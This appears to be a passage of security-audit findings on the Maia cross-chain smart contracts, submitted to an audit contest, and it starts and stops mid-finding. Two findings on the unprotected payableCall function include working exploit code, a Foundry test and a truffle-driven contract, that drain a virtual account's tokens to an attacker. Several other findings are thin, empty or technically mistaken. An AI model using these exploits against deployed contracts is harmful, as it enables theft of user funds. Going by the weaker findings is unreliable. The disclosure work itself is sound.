    // An attacker could call vulnerableFunction multiple times within the same transaction, potentially causing unintended behavior.
}

In this, if _unlocked is not correctly reset within the lock modifier, an attacker could repeatedly call vulnerableFunction within a single transaction, potentially leading to reentrancy issues.

Tools Used

The identification of this issue was based on a manual code review.

Recommended Mitigation Steps

To mitigate the risk of reentrancy attacks, it is essential to ensure that the _unlocked state variable is correctly reset within the lock modifier after the wrapped function execution. Here's a code snippet demonstrating the recommended mitigation step:

/// @notice Modifier for a simple re-entrancy check.
modifier lock() {
    require(_unlocked == 1);
    _unlocked = 2;
    _;
    _unlocked = 1; // Ensure _unlocked is correctly reset after the function execution.
}

By correctly resetting _unlocked, you can prevent potential reentrancy vulnerabilities in your contract. Always follow best practices for reentrancy prevention to ensure the security of your smart contracts.

Assessed type

Reentrancy

See the markdown file with the details of this report here.

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/src/BranchBridgeAgent.sol#L77

Vulnerability details

Impact

BranchBridgeAgent.sol is a smartcontract which can be deployed multi-time and it need to be verify, you shouldn't use immutable for bridgeAgentExecutorAddress because the immutable bridgeAgentExecutorAddress will create different byte code for your contracts, so you must manual verify all of your contract. If bridgeAgentExecutorAddress is not immutable so your contracts can be auto verified ("Similar Match Source Code")

Proof of Concept

https://github.com/Uniswap/v2-core/blob/ee547b17853e71ed4e0101ccfd52e70d5acded58/contracts/UniswapV2Pair.sol#L19

Tools Used

Recommended Mitigation Steps

Assessed type

CanAuto

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/MulticallRootRouter.sol?plain=1#L328
https://github.com/code-423n4/2023-09-maia/blob/main/src/MulticallRootRouter.sol?plain=1#L337
https://github.com/code-423n4/2023-09-maia/blob/main/src/MulticallRootRouter.sol?plain=1#L364
https://github.com/code-423n4/2023-09-maia/blob/main/src/MulticallRootRouter.sol?plain=1#L416
https://github.com/code-423n4/2023-09-maia/blob/main/src/MulticallRootRouter.sol?plain=1#L425
https://github.com/code-423n4/2023-09-maia/blob/main/src/MulticallRootRouter.sol?plain=1#L452

Vulnerability details

Impact

If the return value of a low-level message call is not checked then the execution will resume even if the called contract throws an exception. If the call fails accidentally or an attacker forces the call to fail, then this may cause unexpected behavior in the subsequent program logic.

Low-level calls will never throw an exception, instead they will return false if they encounter an exception, whereas contract calls will automatically throw.

In the case that you use low-level calls, be sure to check the return value to handle possible failed calls.

Unchecked returns can cause unexpected behavior or to loss tokens/funds.

Proof of Concept

https://github.com/code-423n4/2023-09-maia/blob/main/src/MulticallRootRouter.sol?plain=1#L328

            IVirtualAccount(userAccount).call(calls);

https://github.com/code-423n4/2023-09-maia/blob/main/src/MulticallRootRouter.sol?plain=1#L337

https://github.com/code-423n4/2023-09-maia/blob/main/src/MulticallRootRouter.sol?plain=1#L364

https://github.com/code-423n4/2023-09-maia/blob/main/src/MulticallRootRouter.sol?plain=1#L416

https://github.com/code-423n4/2023-09-maia/blob/main/src/MulticallRootRouter.sol?plain=1#L425

https://github.com/code-423n4/2023-09-maia/blob/main/src/MulticallRootRouter.sol?plain=1#L452

Tools Used

Manual Review

Recommended Mitigation Steps

Ensure that the return value of a low-level call is checked or logged.

(bool success, ) = IVirtualAccount(userAccount).call(calls);
require(success, "Transfer failed"); 

Assessed type

call/delegatecall

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootPort.sol#L259
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootPort.sol#L87

Vulnerability details

Impact

It's possible to add token that is not recognized and supported in the system.

Proof of Concept

The isGlobalAddress mapping is used to track tokens that are supported and added on the system. Now, the setLocalAddress function, is using in order to add / set the _globalAddress value and _localAddress value for _srcChainId in the system. but the problem is that, in this function, there is not any check to be sure that the Token is recognized and supported in the system or no.

function setLocalAddress(address _globalAddress, address _localAddress, uint256 _srcChainId)
    external
    override
    requiresCoreRootRouter
{
    if (_localAddress == address(0)) revert InvalidLocalAddress();

    getGlobalTokenFromLocal[_localAddress][_srcChainId] = _globalAddress;
    getLocalTokenFromGlobal[_globalAddress][_srcChainId] = _localAddress;

    emit GlobalTokenAdded(_localAddress, _globalAddress, _srcChainId);
}

For example in the bridgeToRoot function and setAddresses function, before doing anything, first we check that _hToken / _globalAddress input, is recognized and supported in the system or no. the _hToken / _globalAddress input, should recognized and supported in the system.

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootPort.sol#L282
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootPort.sol#L249

Tools Used

Manually

Recommended Mitigation Steps

In the setLocalAddress function, first check that _globalAddress input, should recognized and supported in the system and then continue.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85

Vulnerability details

Impact

The attackers can steal all users's assets by calling the payableCall of the VirtualAccount contract for the users. Users can loose their assets.
In the design of the protocol, the Virtual Account is the "Omnichain Wallet The Virtual Account provides an organized and efficient solution for managing user balances across multiple blockchain networks. By maintaining separate accounting for each user, the Virtual Account enables dApps to better manage user interactions without making any changes to their existing smart contracts. This approach not only streamlines the ecosystem but also enhances security and maintainability. As a result, the Virtual Account serves as an effective omnichain wallet that simplifies cross-chain interactions for both users and dApps.". Link: Virtual Accounts

So the Virtual Account can have users' assets. It can be seen in the docs that "Since the Virtual Account Virtual Account should be able to keep and use UniswapV3 NFT's." Virtual accounts can have ETH or native coins of the blockchain or other ERC20, ERC721, ERC1155.

Notice the function payableCall don't have any access control protection.

function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {
        uint256 valAccumulator;
        uint256 length = calls.length;
        returnData = new bytes[](length);
        PayableCall calldata _call;
        for (uint256 i = 0; i < length;) {
            _call = calls[i];
            uint256 val = _call.value;
            // Humanity will be a Type V Kardashev Civilization before this overflows - andreas
            // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256
            unchecked {
                valAccumulator += val;
            }

            bool success;

            if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData);

            if (!success) revert CallFailed();

            unchecked {
                ++i;
            }
        }

        // Finally, make sure the msg.value = SUM(call[0...i].value)
        if (msg.value != valAccumulator) revert CallFailed();
    }

Usually in the Virtual Account, functions should have the modifier requiresApprovedCaller, but for this function there is not.

Proof of Concept

By using this payableCall, the attackers can use the call to transfer the Virtual Accounts' assets to their account.

For example, suppose the Virtual Account have of MockERC20 newAvaxAssetGlobalAddress token.
Attackers can use the following function call

PayableCall[] memory calls2 = new PayableCall[](1);
        calls2[0] = PayableCall({
            target: address(newAvaxAssetGlobalAddress),
            callData: abi.encodeWithSelector(bytes4(keccak256(bytes("transfer(address,uint256)"))), attacker, balanceTokenVirtualAccountAfter),
            value: 0
        });
IVirtualAccount(userVirtualAccount).payableCall(calls2);

By using this call, the attacker transfer all the MockERC20 to him.

Test Code POC: [multicallrootroutertest-t-sol](https://gist.github.com/Perseverancesuccess2021/89b368d177d42ef0c2355c7123557438)

To run the test case, please take the file MulticallRootRouterTest.t.sol in the link, and run

forge test -m testMulticallSignedNoOutputDepositSingle_VirtualAccount -vvvvv

I have added one test case: testMulticallSignedNoOutputDepositSingle_VirtualAccount

Note: I modified a bit the code here to take one scenario that in the Protocol test, there is money in the Virtual Account contract.
It is easy to just simulate the scenarios that the Virtual Account have other assets.

function testMulticallSignedNoOutputDepositSingle_VirtualAccount() public {
        // Add Local Token from Avax
        testSetLocalToken();

        Multicall2.Call[] memory calls = new Multicall2.Call[](1);

        // Prepare call to transfer 100 hAVAX form virtual account to Mock App (could be bribes)
        calls[0] = Multicall2.Call({
            target: newAvaxAssetGlobalAddress,
            callData: abi.encodeWithSelector(bytes4(0xa9059cbb), mockApp, 50 ether)
        });

        // RLP Encode Calldata
        bytes memory data = encodeCalls(abi.encode(calls));

        // Pack FuncId
        bytes memory packedData = abi.encodePacked(bytes1(0x01), data);

        // Call Deposit function
        encodeCallWithDeposit(
            payable(avaxMulticallBridgeAgentAddress),
            payable(multicallBridgeAgent),
            _encodeSigned(
                1,
                address(this),
                address(avaxNativeAssethToken),
                address(avaxNativeToken),
                100 ether,
                100 ether,
                packedData
            ),
            GasParams(0.5 ether, 0.5 ether),
            avaxChainId
        );

        uint256 balanceTokenMockAppAfter = MockERC20(newAvaxAssetGlobalAddress).balanceOf(mockApp);
        uint256 balanceTokenPortAfter = MockERC20(newAvaxAssetGlobalAddress).balanceOf(address(rootPort));
        uint256 balanceTokenVirtualAccountAfter = MockERC20(newAvaxAssetGlobalAddress).balanceOf(userVirtualAccount);
       
       // Start the POC of the bug paybleCall 

        console2.log("balanceTokenVirtualAccountAfter of the userVirtualAccount Before the exploit%s",balanceTokenVirtualAccountAfter);

        require(balanceTokenMockAppAfter == 50 ether, "Balance should be added");
        require(balanceTokenPortAfter == 0, "Balance should be cleared");
        require(balanceTokenVirtualAccountAfter == 50 ether, "Balance should be added");
        address attacker = address(0x1234);
        console2.log("Use the Wallet attacker to call PaybleCall to transfer the balance of the token newAvaxAssetGlobalAddress of the userVirtualAccount to the attacker");
        hevm.startPrank(attacker);
        PayableCall[] memory calls2 = new PayableCall[](1);
        calls2[0] = PayableCall({
            target: address(newAvaxAssetGlobalAddress),
            callData: abi.encodeWithSelector(bytes4(keccak256(bytes("transfer(address,uint256)"))), attacker, balanceTokenVirtualAccountAfter),
            value: 0
        });
        IVirtualAccount(userVirtualAccount).payableCall(calls2);
        hevm.stopPrank();
        console2.log("balanceTokenVirtualAccountAfter of the token newAvaxAssetGlobalAddress of  userVirtualAccount After the exploit %s",MockERC20(newAvaxAssetGlobalAddress).balanceOf(userVirtualAccount));
        console2.log("balanceTokenVirtualAccountAfter of the token newAvaxAssetGlobalAddress of the attacker After the exploit %s",MockERC20(newAvaxAssetGlobalAddress).balanceOf(attacker));
        require(MockERC20(newAvaxAssetGlobalAddress).balanceOf(attacker) == balanceTokenVirtualAccountAfter, "Balance should be added");
        require(MockERC20(newAvaxAssetGlobalAddress).balanceOf(userVirtualAccount) == 0, "Balance should be added");

      
    }

Test case log: Log

Running 1 test for test/ulysses-omnichain/MulticallRootRouterTest.t.sol:MulticallRootRouterTest
[PASS] testMulticallSignedNoOutputDepositSingle_VirtualAccount() (gas: 1578546)
Logs:
  New:  0xd23136dA30B883Ea7dEea92f6Bbb148Ead770550
  Balance Before:  0
  Balance After:  0
  balanceTokenVirtualAccountAfter of the userVirtualAccount Before the exploit 50000000000000000000
  Use the Wallet attacker to call PaybleCall to transfer the balance of the token newAvaxAssetGlobalAddress of the userVirtualAccount to the attacker
  balanceTokenVirtualAccountAfter of the token newAvaxAssetGlobalAddress of  userVirtualAccount After the exploit 0
  balanceTokenVirtualAccountAfter of the token newAvaxAssetGlobalAddress of the attacker After the exploit 50000000000000000000

In this test case, please pay attention to the last part of the test case. So before the attack, the Virtual Account have 50 ETH of the newAvaxAssetGlobalAddress.
But after the attack, all the newAvaxAssetGlobalAddress was transfered to the attacker.

Tools Used

Manual Review
Foundry

Recommended Mitigation Steps

Should add the modifier requiresApprovedCaller to the function

function payableCall(PayableCall[] calldata calls) public payable requiresApprovedCaller returns (bytes[] memory returnData) {
}

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85

Vulnerability details

Impact

Attacker can hijack the assets that VirtualAccount holds

Proof of Concept

The VirtualAccount.payableCall have no access control and can be called by anyone :

    function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {

this function later makes arbitrary call to calls.target with _call.callData,

            if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData);

And since this contract is meant to hold ERC721, and ERC20 assets (that's why it has withdrawERC721 and withdrawERC20 functions which ensures so)

exploit.sol :

pragma solidity ^0.8.6;

struct PayableCall {
    address target;
    bytes callData;
    uint256 value;
}

interface vuln {
 function payableCall(PayableCall[] calldata calls) external payable returns (bytes[] memory returnData) ;
}

contract exploit {
   PayableCall[] public payloads;
   bytes public s;
   function generate(address recipient, uint256 amount,address _target) external {
      bytes memory w = abi.encodePacked("transfer(address,uint256)",recipient,amount);
      PayableCall memory payload = PayableCall({
      target : _target,
      callData : w,
      value : 0
      });
      payloads.push(payload);

   }
   function attack(vuln _vuln) public {
       vuln(_vuln).payableCall(payloads);
   }
}

truffle commands :

truffle develop
migrate --compile-all --reset

//deploy (I unlocked 0xa270bb1241ff428927406e5fde47e7ea8592afb1)
exploit.deployed().then(function(instance){exploit_=instance;})
VirtualAccount.deployed().then(function(instance){vaccount=instance;})
SimpleERC20.deployed().then(function(instance){token=instance;})
// mint the virtual account
token.mint(VirtualAccount.address,1000,{from:"0xa270bb1241ff428927406e5fde47e7ea8592afb1"})
token.balanceOf(VirtualAccount.address)
// will returns 1000
exploit_.generate("0xa270bb1241ff428927406e5fde47e7ea8592afb1",750,SimpleERC20.address,{from:"0xa270bb1241ff428927406e5fde47e7ea8592afb1"})
exploit.attack(VirtualAccount.address,{from:"0xa270bb1241ff428927406e5fde47e7ea8592afb1"})
// check balances
token.balanceOf(VirtualAccount.address)
token.balanceOf("0xa270bb1241ff428927406e5fde47e7ea8592afb1")
// will returns 250, 750

Tools Used

Ganache and truffle

Recommended Mitigation Steps

Make the function callable by authorized users only (like withdrawERC20 function)

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/factories/ArbitrumBranchBridgeAgentFactory.sol#L67

Vulnerability details

Impact

The code allows anyone to renounce ownership, which may not be the desired behavior. Renouncing ownership should typically be restricted to the current owner to prevent unauthorized changes.

Proof of Concept

GitHub Code: https://github.com/code-423n4/2023-09-maia/blob/main/src/factories/ArbitrumBranchBridgeAgentFactory.sol#L67

Tools Used

Code review.

Recommended Mitigation Steps

To mitigate this issue, add a check to ensure that only the current owner can renounce ownership. Here's the suggested code fix:

if (msg.sender == owner()) {
    renounceOwnership();
}

Assessed type

Other

See the markdown file with the details of this report here.

See the markdown file with the details of this report here.

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BaseBranchRouter.sol#L60-L76
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BaseBranchRouter.sol#L61

Vulnerability details

Impact

A requirement was violated in a nested call and the call was reverted as a result.
The Solidity require() construct is meant to validate external inputs of a function. In most cases, such external inputs are provided by callers, but they may also be returned by callees. In the former case, we refer to them as precondition violations. Violations of a requirement can indicate one of two possible issues:

A bug exists in the contract that provided the external input.
The condition used to express the requirement is too strong.
Vulnerable code

// 2023-09-maia/src/BaseBranchRouter.sol => Ln: 61
        require(_localBridgeAgentAddress != address(0), "Bridge Agent address cannot be 0");

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./BaseBranchRouter.sol";

import {Ownable} from "202309-maia/lib/solady/src/auth/Ownable.sol";
import {SafeTransferLib} from "202309-maia/lib/solady/src/utils/SafeTransferLib.sol";

import {ERC20} from "202309-maia/lib/solmate/src/tokens/ERC20.sol";

import {IBranchRouter} from "./interfaces/IBranchRouter.sol";

import {
    IBranchBridgeAgent as IBridgeAgent,
    GasParams,
    Deposit,
    DepositInput,
    DepositParams,
    DepositMultipleInput,
    DepositMultipleParams,
    SettlementParams,
    SettlementMultipleParams
} from "./interfaces/IBranchBridgeAgent.sol";


contract tBaseBranchRouter {

    BaseBranchRouter public x1;

    constructor(BaseBranchRouter _x1) {

        x1 = BaseBranchRouter(_x1);

    }

    function testRequirementViolation() external payable {

       x1.initialize(address(x1));
       x1.getDepositEntry(0);

       x1.initialize(address(x1));
       x1.getDepositEntry(0);

       x1.initialize(address(x1));
       x1.getDepositEntry(0);

   }

}

Log

transact to tBaseBranchRouter.testRequirementViolation pending ... 
[vm]from: 0x5B3...eddC4to: Ownable.(fallback) 0xAb8...35cb2value: 0 weidata: 0xaae...d0e19logs: 0hash: 0x17e...c8e0f
status	true Transaction mined and execution succeed
transaction hash	0x17ef6b61a36fe879d1e1fae73ecf2483e3fd232163e43d993cbafd981d7c8e0f
block hash	0xf4d93fa0f24c7c87ba759586c7d6580b7e96ce833b06a21844e4e403b80f4e3d
block number	1
from	0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
to	Ownable.(fallback) 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
gas	24224 gas
transaction cost	21064 gas 
input	0xaae...d0e19
decoded input	-
decoded output	 - 
logs	[]
val	0 wei

Tools Used

Remix IDE.

Recommended Mitigation Steps

Make sure valid inputs are provided to the nested call (for instance, via passed arguments).
If the required logical condition is too strong, it should be weakened to allow all valid external inputs.
Otherwise, the bug must be in the contract that provided the external input and one should consider fixing its code by making sure no invalid inputs are provided.

Assessed type

Access Control

See the markdown file with the details of this report here.

See the markdown file with the details of this report here.

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/MulticallRootRouter.sol#L109

Vulnerability details

Impact

The identified issue of the lack of event logging in critical functions within the contract can have a substantial impact on the transparency and auditability of contract interactions. Without proper event logging, it becomes challenging to monitor and debug these interactions, hindering the auditing process and the ability to trace contract actions. This lack of transparency can lead to difficulties in identifying and diagnosing issues, making it harder to ensure the correct and secure functioning of the contract.

Proof of Concept

This vulnerability is a design issue and does not require a direct proof of concept. illustrating the absence of event logging, Examining the relevant code snippet from the contract:

/**
 * @title  Multicall Root Router Contract
 * ...
 */
contract MulticallRootRouter is IRootRouter, Ownable {
    ...

    /**
     * @notice Initializes the Multicall Root Router.
     * @param _bridgeAgentAddress The address of the Bridge Agent.
     */
    function initialize(address _bridgeAgentAddress) external onlyOwner {
        require(_bridgeAgentAddress != address(0), "Bridge Agent Address cannot be 0");

        bridgeAgentAddress = payable(_bridgeAgentAddress);
        bridgeAgentExecutorAddress = IBridgeAgent(_bridgeAgentAddress).bridgeAgentExecutorAddress();
        renounceOwnership();
    }

    ...
}

In this code snippet, there is no event emitted to log the initialization of the Multicall Root Router. Events are essential for providing transparency and a historical record of significant contract actions. The absence of events in critical functions like this one makes it difficult to track when and how these functions were called, potentially hindering the auditing and debugging process.

Tools Used

The identification of this issue was based on a manual code review.

Recommended Mitigation Steps

To mitigate the lack of event logging in critical functions, Adding appropriate event logging to these functions. Event logging provides transparency and a historical record of contract actions, making it easier to monitor and debug interactions.

Here is an example of how to add event logging to the initialize function in the contract:

/**
 * @title  Multicall Root Router Contract
 * ...
 */
contract MulticallRootRouter is IRootRouter, Ownable {
    ...

    event Initialized(address indexed owner, address bridgeAgentAddress);

    /**
     * @notice Initializes the Multicall Root Router.
     * @param _bridgeAgentAddress The address of the Bridge Agent.
     */
    function initialize(address _bridgeAgentAddress) external onlyOwner {
        require(_bridgeAgentAddress != address(0), "Bridge Agent Address cannot be 0");

        bridgeAgentAddress = payable(_bridgeAgentAddress);
        bridgeAgentExecutorAddress = IBridgeAgent(_bridgeAgentAddress).bridgeAgentExecutorAddress();
        renounceOwnership();

        emit Initialized(msg.sender, _bridgeAgentAddress);
    }

    ...
}

An Initialized event is emitted at the end of the initialize function. This event logs the owner's address and the bridge agent address, providing a clear record of when the initialization occurred and who performed it. By adding such events to critical functions, you enhance the transparency and auditability of the contract, making it easier to monitor and debug contract interactions.

Assessed type

Other

See the markdown file with the details of this report here.

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/src/RootPort.sol#L90

Vulnerability details

Impact

Proof of Concept

Tools Used

Manually

Recommended Mitigation Steps

Assessed type

Library

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/RootPort.sol#L249
https://github.com/code-423n4/2023-09-maia/blob/main/src/RootPort.sol#L467
https://github.com/code-423n4/2023-09-maia/blob/main/src/RootPort.sol#L499

Vulnerability details

Impact

An isGlobalAddress which is a state of a RootPort contract stores all global hTokens deployed in the system. This is used to verify whether a hToken is recognized or not.

But the isGlobalAddress just can add a new hToken to this and enable the token even though cannot disable or remove them from the list.

Impacting the system is whenever one of the lists of global addresses may get incidents or hacked, but the contract hasn't any method to disable an old hToken.

Tools Used

Manual review

Recommended Mitigation Steps

I recommend MaiA team integrate a new method to disable or remove a hToken from the isGlobalAddress.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/src/ArbitrumBranchPort.sol#L69

Vulnerability details

vulnerability details

the vulnerable function :

    function depositToPort(address _depositor, address _recipient, address _underlyingAddress, uint256 _deposit)
        external
        override
        lock
        requiresBridgeAgent
    {
        // Save root port address to memory
        address _rootPortAddress = rootPortAddress;

        // Get global token address from root port
        address _globalToken = IRootPort(_rootPortAddress).getLocalTokenFromUnderlying(_underlyingAddress, localChainId);

        // Check if the global token exists
        if (_globalToken == address(0)) revert UnknownGlobalToken();

        // Deposit Assets to Port
        _underlyingAddress.safeTransferFrom(_depositor, address(this), _deposit);

        // Request Minting of Global Token
        IRootPort(_rootPortAddress).mintToLocalBranch(_recipient, _globalToken, _deposit);
    }

in this line
IRootPort(_rootPortAddress).mintToLocalBranch(_recipient, _globalToken, _deposit);
The contract trust the IRootPort contract to mint tokens without any validation or checks.

Impact

an attacker can exploit the vulnerabilities in the contract to double spend assets and grief other users by causing excessive minting and resource depletion. These actions can have detrimental consequences for the contract and its users,

Proof of Concept

Here a Scenario show the vulnerability

• Attacker creates two different addresses, Address A and Address B.
• The attacker initiates a deposit of 100 tokens into the contract using Address A.
  depositToPort(Address A, Recipient X, Underlying Token X, 100);
• Before the transaction is confirmed, the attacker quickly initiates another deposit of 100 tokens into the contract using Address B.
  depositToPort(Address B, Recipient Y, Underlying Token X, 100);
• Both transactions are included in the same block, and the contract does not check for double spending. As a
  result, 200 tokens are minted to the local branch for Address X, even though only 100 tokens were deposited.

Here another Scenario show the vulnerability :
-The attacker creates an address, Address C.
-The attacker initiates a deposit of 1000 tokens into the contract using Address C.
depositToPort(Address C, Recipient Z, Underlying Token Y, 1000);

• The attacker repeatedly calls the depositToPort function with Address C, depositing large amounts of tokens in rapid succession.

// Repeatedly call the function
for (uint256 i = 0; i < 10; i++) {
    depositToPort(Address C, Recipient Z, Underlying Token Y, 1000);
}

• Each time the function is called, it mints tokens to the local branch, consuming significant gas and causing excessive resource usage. This effectively griefs other users who may now face higher gas fees and slower transaction processing.

Tools Used

manual review

Recommended Mitigation Steps

here the update code to fix the problem and ensure that the deposit is within bounds, addresses are valid:

if (_globalToken == address(0)) revert UnknownGlobalToken();

    // Ensure that the deposit is within reasonable bounds
    require(_deposit > 0, "Deposit amount must be greater than zero");

    // Ensure that the _depositor and _recipient addresses are valid
    require(_depositor != address(0) && _recipient != address(0), "Invalid addresses");

    // Check if the contract has enough balance to mint tokens
    uint256 contractBalance = _underlyingAddress.balanceOf(address(this));
    require(contractBalance >= _deposit, "Insufficient contract balance");

    // Perform the actual transfer of assets to the contract
    _underlyingAddress.safeTransferFrom(_depositor, address(this), _deposit);

    // Request Minting of Global Token
    IRootPort(_rootPortAddress).mintToLocalBranch(_recipient, _globalToken, _deposit);
}

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/CoreBranchRouter.sol?plain=1#L43
https://github.com/code-423n4/2023-09-maia/blob/main/src/CoreBranchRouter.sol?plain=1#L62

Vulnerability details

Impact

Access control is a fundamental security principle that governs who can perform specific actions within a smart contract. Proper access control ensures that only authorized entities can execute sensitive operations or modify critical data. However, when access control mechanisms are improperly implemented or omitted entirely, vulnerabilities emerge.

Description

Access Control issues are common in all programs, not just smart contracts. One usually accesses a contract's functionality through its public or external functions.

The consequences of neglecting access control can be disastrous. Without proper checks, unauthorized users can gain unrestricted access to sensitive functionalities, such as minting or burning tokens, altering critical contract parameters, or even transferring ownership. This unrestricted access can lead to unauthorized creation or destruction of tokens, theft of user funds, or manipulation of contract behavior.

Access controls define the restrictions around privileges and roles of users in an application. Access control in smart contracts can be related to governance and critical logic like minting tokens, voting on proposals, withdrawing funds, pausing and upgrading the contracts, changing ownership, etc.

Missed Modifier Validations — It is important to have access control validations on critical functions that execute actions like modifying the owner, transfer of funds and tokens, pausing and unpausing the contracts, etc. Missing validations either in the modifier or inside require or conditional statements will most probably lead to compromise of the contract or loss of funds.

Access control vulnerabilities have high exploitation potential. Malicious actors actively search for contracts with weak or absent access controls to exploit them for personal gain. Once a vulnerability is discovered, the attacker can execute unauthorized operations, manipulate contract state, drain funds, or even take full control of the contract.

Proof of Concept

https://github.com/code-423n4/2023-09-maia/blob/main/src/CoreBranchRouter.sol?plain=1#L43

    function addGlobalToken(address _globalAddress, uint256 _dstChainId, GasParams[3] calldata _gParams)
        external
        payable

https://github.com/code-423n4/2023-09-maia/blob/main/src/CoreBranchRouter.sol?plain=1#L62

    function addLocalToken(address _underlyingAddress, GasParams calldata _gParams) external payable virtual {

Tools Used

Manual code review

Recommended Mitigation Steps

Implementing proper access control mechanisms involves using modifiers, conditionals, or external role-based contracts to restrict function execution to authorized entities.

Always specify a modifier for functions.

To fix this issue, you should use the onlyowner modifier to restrict access to the function so that only the current owner can call it.

modifier onlyowner {
require(msg.sender == owner);
_;
}

function addGlobalToken(address _globalAddress, uint256 _dstChainId, GasParams[3] calldata _gParams) external onlyowner payable 

    function addLocalToken(address _underlyingAddress, GasParams calldata _gParams) external onlyowner payable virtual {

Assessed type

Access Control

See the markdown file with the details of this report here.

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/ArbitrumBranchPort.sol#L60
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootPort.sol#L96-L97

Vulnerability details

Impact

The comment states "Get global token address from root port", but actually what is obtained is the local address.

Proof of Concept

    // Get global token address from root port
    address _globalToken = IRootPort(_rootPortAddress).getLocalTokenFromUnderlying(_underlyingAddress, localChainId);

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/ArbitrumBranchPort.sol#L59C1-L60C122

/// @notice ChainId -> Underlying Address -> Local Address
mapping(address chainId => mapping(uint256 underlyingAddress => address localAddress)) public
    getLocalTokenFromUnderlying;

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootPort.sol#L95-L97

Tools Used

vscode

Recommended Mitigation Steps

Assessed type

Context

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchPort.sol#L375-L380
https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchPort.sol#L362-L372
https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchPort.sol#L468-L474

Vulnerability details

Summary

The BranchPort contract allows tokens to be registered as strategy tokens using the toggleStrategyToken function. However, there is no enforcement to set the getMinimumTokenReserveRatio when a token is toggled as a strategy token.

Affected Function

Affected Functionality:

toggleStrategyToken(address _token) - This function is used to toggle whether a token is considered a strategy token.

Bug Description:

• When the toggleStrategyToken function is called with an arbitrary token address that has not been registered as a strategy token before, it toggles the token as a strategy token without setting the getMinimumTokenReserveRatio for that token.

• Since the getMinimumTokenReserveRatio remains uninitialized (set to 0), the _minimumReserves function always returns 0 as the reserve ratio is effectively zero.

• This issue allows tokens to be registered as strategy tokens without setting a valid reserve ratio, leading to unexpected behavior where the contract cannot accurately calculate minimum reserves.

Impact

The bug causes the _minimumReserves function to always return 0 when the reserve ratio is not set. This means that the contract may incorrectly assess the minimum reserves required for strategy tokens. As a result, it may underestimate the required reserves, potentially leading to a situation where the contract allows more tokens to be managed by strategies than it should.

Proof of concept

 // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.0;

 contract StrategyTokenContract {
    mapping(address => uint256) public getMinimumTokenReserveRatio;
    mapping(address => uint256) public getStrategyTokenDebt;
    mapping(address => bool) public isStrategyToken;

    function toggleStrategyToken(address _token) external {
      isStrategyToken[_token] = !isStrategyToken[_token];

    }

    function _minimumReserves(uint256 _currBalance, address _token) internal view returns (uint256) {
     return ((_currBalance + getStrategyTokenDebt[_token]) *getMinimumTokenReserveRatio[_token]) / 100;

    }

    function setMinimumTokenReserveRatio(address _token, uint256 _ratio) external {
     getMinimumTokenReserveRatio[_token] = _ratio;
    }
 }

In this Test contract:

1. • toggleStrategyToken allows you to mark a token as a strategy token without
     setting a minimum reserve ratio.
2. • _minimumReserves calculates minimum reserves using the provided

• _currBalance and the reserve ratio from getMinimumTokenReserveRatio. However,
  it uses a division factor of 100 instead of DIVISIONER

Here's how we can demonstrate the issue with this contract:

1. • Deploy the contract.
2. • Call toggleStrategyToken with a token address to mark it as a strategy token
     without setting a reserve ratio.
3. • Call _minimumReserves with the same token address and any balance value.
4. Observe that the result is always 0 due to the uninitialized reserve ratio.

Recommendation

Add check to BranchPort.toggleStrategyToken

1. Modify the toggleStrategyToken function to enforce a minimum reserve ratio
   requirement when marking a token as a strategy token. This can be done by
   adding a check to ensure that the getMinimumTokenReserveRatio value is set before
   allowing the token to be marked as a strategy token. Here's an example of how
   you can do this:

      function toggleStrategyToken(address _token) external requiresCoreRouter {
        require(getMinimumTokenReserveRatio[_token] > 0, "Minimum reserve ratio not set");
        isStrategyToken[_token] = !isStrategyToken[_token];
   
        emit StrategyTokenToggled(_token);
      }
   

2. Ensure that when a token is added as a strategy token using the addStrategyToken
   function, a valid getMinimumTokenReserveRatio value is set. This can be enforced by
   adding a check within the addStrategyToken function:

      function addStrategyToken(address _token, uint256 _minimumReservesRatio) external
      requiresCoreRouter {
        require(_minimumReservesRatio > 0 && _minimumReservesRatio < DIVISIONER, "Invalid
